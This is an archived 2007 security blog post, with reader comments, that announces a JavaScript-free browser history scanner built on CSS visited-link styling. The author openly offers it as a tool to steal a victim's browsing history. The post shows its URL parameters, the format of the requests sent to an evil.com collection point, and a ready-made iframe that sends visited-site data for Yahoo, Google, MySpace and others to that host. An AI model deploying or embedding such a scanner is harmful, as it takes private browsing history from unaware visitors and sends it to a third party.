Noscript HScan

Wed, 28 Feb 2007 22:57:00 GMT
by pdp

After releasing my Firefox specific history scanner, RSnake came up with his own bleeding edge history scanning technique which is based on Jeremiah Grossman's implementation but it does not require JavaScript. This approach has its own limitations and advantages.

On the advantages side, you don't really need JavaScript to steal the victim's browser history anymore. So, everybody who is thinking that turning off JavaScript is the safe way to go, you are most definitely wrong. You should turn CSS off too. This is it. Sparten browsing is the key. On the other hand, history scanning without JavaScript is less powerful in a way that attackers are not able to perform actions as soon as a history entry is discovered.

Still, I think that RSnake's approach is quite interesting and innovative. I decided to write a generic scanner that can be configured on the fly to steal any browser history. The scanner is located here. Before using it you need to pass several GET or POST (it is up to you really) parameters to the script like this:

noscript-hscan.php?u1=[url]&u2=[url]&t=[target collection point]

The scanner excepts any number of URLs. The only rule is that every URL parameters must start with u (lower case u). It is a good practice to number the URLs that you want to scan as u1, u2, u3, etc. The t parameter is for the target collection point. This is the place where the history information will be sent to. The collection point will receive requests that look like the following:

http://evil.com/path/to/collection/point?u=[url]&t=[timestamp]&c=[ip]

The easiest way you can launch the generated scanning code is to include it inside an iframe. For example you can use something like the following:

<iframe src="noscript-hscan.php?t=http%3A//evil.com/path/to/collection/point%3F&u0=http%3A//www.yahoo.com/&u1=http%3A//www.google.com/&u2=http%3A//www.myspace.com/&u3=http%3A//www.msn.com/&u4=http%3A//www.ebay.com/&"></iframe>

This is it! It is simple.

Archived Comments

anonymousanonymous
The PHP download unfortunately gets parsed thus we can get the output, but not the download. You'll have to change the extension ot pack it into a TAR/ZIP file if you want people to download it. Thanks a lot!
pdppdp
That's the purpose of it. You can use it straight from here... no need to download.
JoeJoe
nice tool, thank you
FranckFranck
Doesnt work here. Not in IE neither FF. I am seeing 'v' characters as output. This is supposed to mean 'visited'? But I never visit those sites. Even a fake url shows up as 'v'. So I don't get this..
pdppdp
Visited sites will show up as pink Vs while not visted sites will show up as simle blue Vs. See the generated CSS for more information how it works.
pdppdp
and now you can download the code.